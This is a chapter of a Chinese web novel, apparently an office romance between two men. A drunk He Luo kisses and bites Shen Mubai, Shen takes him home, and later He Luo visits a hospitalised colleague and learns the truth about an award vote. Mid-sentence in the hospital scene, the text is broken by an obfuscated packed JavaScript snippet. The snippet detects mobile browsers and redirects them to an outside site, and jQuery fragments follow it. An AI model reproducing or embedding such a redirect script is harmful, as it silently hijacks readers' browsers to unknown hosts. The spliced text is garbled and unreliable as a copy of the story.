“唔……”
转眼贺洛爬到驾驶位,整个人都压到沈暮白身上。纤长的身体即便穿上秋装,也细瘦得几乎盈盈一握,拼命缠着他,柔软得像是没有骨头。
沈暮白浑身肌肉绷紧,某处也隐约开始蠢蠢欲动。
贺洛膝盖不偏不倚地跪上来,那一下子痛得要命,可转瞬就被一种远远更加鲜明、却也令他后脊发凉的感触盖过。
犹如置身天堂和人间的夹缝。而贺洛仍在他耳边低语。
“喜欢吗?挂硬币就是为了求这个吗……对我那么坏还敢想好事?没门!”
不等话音落下,贺洛撬开他的唇瓣,一口咬住他的舌头!剧痛,一丝血腥味在口中扩散开来,很快盖过了浓重的酒气。
沈暮白如梦初醒,原来这也是贺洛的报复。
“小贺,够了。”
小东西手脚都缠得紧,沈暮白只好把人从身上强行剥下来,丢回副驾驶座,用安全带捆了个结结实实。
贺洛剧烈挣扎,把手伸向安全带的卡扣,沈暮白不由分说地把那两只不安分的手拨开。
几度尝试无果,贺洛才总算放弃了抵抗,脱力地瘫软在座椅里,低垂着眼帘似乎昏昏欲睡。
沈暮白松了口气,正要重新发动车子,赶紧把魔鬼送回家,却听身侧传来几乎细不可闻的啜泣。
“连你也不要我了……”
沈暮白僵住了。缓缓转过头去,副驾驶座上的青年不知何时已经泪流满面。
怎么会这样……?
他从来都只会让贺洛气得跳脚,对他又挥爪子又龇牙,记着他的仇做成一件又一件看似不可能的事……可今天他让贺洛哭了。
已经搭上方向盘的双手,缓缓放了下来,沈暮白颤抖地解掉自己身上的安全带,又解开贺洛的那一边。而后用力把人拉到怀里,紧紧抱着。
“怎么会?我在呢。”
“……我没朋友了……”
“你还有我。”
虽然,我好像是你最不想要的。
沈暮白总算知道了贺洛的致命弱点在哪里。不是纯粹的天真或者易怒,而是那种深入骨髓的,对被抛弃的恐惧。
所以你才会这样不讲道理地依恋一个人,或者恨一个人吗?沈暮白几乎想问。
贺洛无从回答。他哭个昏天黑地,之后歪在沈暮白的肩头睡了过去。真是说不上是好还是差的酒品。
沈暮白把贺洛抱到后排座,抓过一个头枕垫在他颈下,好让他睡得舒服一些,之后开始思考一个问题:被醉鬼强吻之后再开车,算酒驾吗?
想来想去他还是叫了代驾。上次19分钟极限飙车到贺洛家让他发现,他其实颇有危险驾驶的天分,但前提是车上没有他在乎的人。
等待代驾师傅时,沈暮白也坐到了后排,悬空端着笔记本电脑处理邮件。贺洛则枕在他腿上,睡得香甜。
代驾来时见此情景,调侃道:“哎呀,这是怎么个事儿?香车睡美人啊。”
沈暮白当即黑了脸,默默掏出手机取消订单,又叫了另一位顾客评价话少嘴巴严实的。
第二位代驾开得平稳,一路上贺洛都睡得很沉,抵达贺家时,沈暮白也终于摸清了今天这场闹剧的来龙去脉。
他收了笔记本,打横抱起贺洛,按响门铃。
时间已经过了午夜,贺家夫妇睡眼惺忪地来迎,却只寒暄道谢。沈暮白称“公司聚餐小贺喝醉”,他们也就接受了这个程度的解释,没有追问。
上次沈暮白来时,这对夫妇对孩子的掌控欲还是密不透风。他不禁又望了一眼怀中熟睡的青年,宽慰地笑。
独立事业进展迅速啊,小贺。
贺先生伸手要接过贺洛,沈暮白下意识地说:“我来吧贺叔。这家伙看着瘦,没想到还挺沉的。”
不,他说谎了。怀中人轻飘飘的像一片羽毛,抱再久也不会累。他只是想再多抱一会而已。
“真是谢谢你呀,小沈。”姜云霞边说,边给沈暮白指路贺洛的房间,“自从认识了你,这孩子就跟变了个人似的。”
沈暮白听得心中五味杂陈。如果他真是什么好人,贺洛就不会这样狼狈。
贺洛的房间在二楼,是个相当宽敞的套房,沈暮白抱着贺洛穿过起居空间和书房,到了床边。
床品大约还是姜云霞在置办,深蓝色纯棉底布上印着星星和火箭的图案,典型的青春期小男孩风格。
沈暮白掀开被子让贺洛躺进去,不慎把床另一侧放着的宜家鲨鱼掀落在地。
他绕过去拾起鲨鱼,试探性地放在贺洛身边,贺洛咂着嘴翻了个身,条件反射般,手脚并用把它抱住了。
真是幼稚家伙。沈暮白轻笑着摇了摇头。
醉鬼不安分地睫毛颤了颤,好像在梦里也感应到他在骂。
沈暮白关门离开之前,走廊上洒进室内的一线亮光照亮书桌。整洁的桌面中央摆着的钢笔和香水瓶,就是在那一刻吸引了他的目光。
-
贺洛又梦见了沈暮白。
那个男人兽性大发,用安全带把他绑在车上亲亲抱抱没完,还把他的头按在腿上,离那个地方特别近,最后还压着他……做了……
贺洛猛地从床上翻了起来,眼前骤然一黑,头疼得像是要裂开来。
掀起被子,身上昨天的衣服完好无缺,不放心地夹了夹腿,也没什么痛感,他这才松了一口气。
幸好只是梦。
可是他怎么偏在失去朋友的节骨眼上,梦见沈暮白那个王八蛋?还把三十岁单身养胃男梦得那样生猛。
想起梦里的唇舌交缠,还有某物饱满的触感,他的腿又软了,一下床差点站不稳。
缓了一会儿,贺洛缓慢地挪向浴室,好洗掉一身的酒臭和晦气。
然而途径书桌,压在钢笔之下的一张便笺如磁石一般吸住他的目光。
他迟滞一瞬,而后飞扑过去,抓起来一看——
【戴维住院了,醒了就去看看他吧。】
没有落款,可那流畅有力的字迹贺洛很熟悉,是出自沈暮白之手。
他喜出望外:原来戴维是真的身体不舒服,才会提前下班,不一定就是因为记恨他!
可下一秒,纷乱的念头接连涌现,他毛骨悚然。
昨天沈暮白来过,进了他的房间,偷用了那支他尚未送出的钢笔。
好恬不知耻的人。
可是……他昨晚和沈暮白在一起?
他记得戴维没参加团建,沈暮白也没参加,之后他就吨吨吨吨吨,再然后……断片了。
酗酒一时爽,醒酒火葬场。
贺洛洗完澡下楼到客厅,姜云霞在逗猫,他假装路过不经意地问:“妈,我昨晚怎么回来的啊?”
姜云霞意味深长地瞪了他一眼:“喝得昏死过去,人家小沈抱你回来的。”
贺洛:“……啊?”
抱我回来?这说的还是中文吗?
姜云霞:“当初要你去见见人,你还不乐意呢,这不是处得挺好的?”
贺洛脑壳又疼了起来:“谁说我跟他好?”
或许曾有变好的希望,但那一票和一场梦过后,就坏得不能再坏了。
-
滨京市中心医院——
贺洛抱着花束,手拎水果,走进住院部大楼。浓重的药味直扑鼻腔,搅动他本就混沌一片的脑子。
出了电梯,墙上贴着斗大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399444|184325||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的字:消化内科。
贺洛默默把水果扔在了门口长凳上,只带着花进门,一眼看到病床上面色铁青的金毛。
“维维……”
戴维见到他,眼神却亮了:“洛洛!”
“病房里不要大声喧哗哈。”在帮隔壁床病人换药瓶的护士说。
贺洛把花放到戴维床头,压低声音问他究竟怎么了。
“急性胰腺炎,说是过度紧张焦虑诱发的。丢人啊。”戴维苦笑。
贺洛无言以对。这不就摆明了在告诉他,是因为Nova奖?
戴维挥着没打留置针的那一只手:“你知道吗贺洛?你肯定不知道,坊间传言第一份工作刚入职的成果、分配到的第一个项目,会决定整个职业生涯。第一步走不好,整盘棋就都毁了。”
贺洛的确没听说,他又不是为了什么职业生涯才工作的。可戴维的意思他懂了:错失奖项,误了前程。
“维维,真的对不起!”贺洛垂下头,慌乱道,“我不知道沈暮白他又发什么神经,但我在颁奖式上——”
“不是沈总。”戴维却打断了他。
贺洛愕然。
“是印刷部张经理,沈总查了投票记录之后告诉我的。”
什么?竟然是老张……
“你为那么个夕阳部门忙前忙后,我可没把他们当回事。所以他们那一票投了给你,我真没什么好说的。更何况……不是早就约好了吗。”
不论输赢都是朋友。
贺洛脑子逐渐转过了弯,更恨不得抽自己两巴掌。沈暮白和戴维都信守了约定,只有他贺洛一个人在疑神疑鬼。
戴维话锋一转:“但是你能不能管管沈总啊?昨天大半夜给我发邮件说投票的事,差点吓死我。”
贺洛震惊,然而表面只得苦笑:“我哪里管得了他啊。”
……
贺洛离开病房,脱力地跌坐在长凳上。天旋地转,万念俱灰。
他都干了什么啊。
在公司走廊上扯着总经理的衣领质问其为什么要投那一票,结果现在真相大白,票是别人投的。
沈暮白帮了他那么多,他却没能回以哪怕一点信任。
而沈暮白在被他质疑、挑衅之后,可能还赶去了团建餐厅,发现戴维不在而他又喝挂了,大半夜紧急澄清原委,又送他回家。
可他呢?醉得不省人事,还做了那样的梦。
真是干得好啊,贺洛。
喊打喊杀恨了沈暮白这么长时间,贺洛第一次想,或许在这段孽缘里,他才是那个更糟糕的人。
在医院走廊上呆坐很久,贺洛才终于下定决心,给沈暮白打电话。结果那个男人几秒钟就接通了,吓他一大跳。
“小贺睡醒了啊,头疼不疼?”
果不其然,一上来就是关心,这也是沈暮白的惯用伎俩了。装好人给旁人看,又或者糖衣炮弹让贺洛放松警惕,好在下一次把他欺负得更惨。
可如果……沈暮白是发自内心的呢?
“不严重。”贺洛第一次尝试坦然接受。
倒也没说谎。毕竟比起他纷乱的心绪,物理意义上的疼痛都成了最细枝末节的事情。
沈暮白轻笑:“那就好。”
贺洛也不觉微笑起来,一股暖意从心底涌现。怪怪的,但好像没有那么糟。
可沈暮白紧接着问:“不过小贺,我第一次见有人喝多了像你这样的。”
沈暮白低哑磁性的话音落下,通讯线路里只剩下嘶嘶的白噪声。贺洛听见自己的心跳,怦怦作响,震耳欲聋。
他又想起了那个梦。
沈暮白什么意思?
……不会真的发生了什么吧?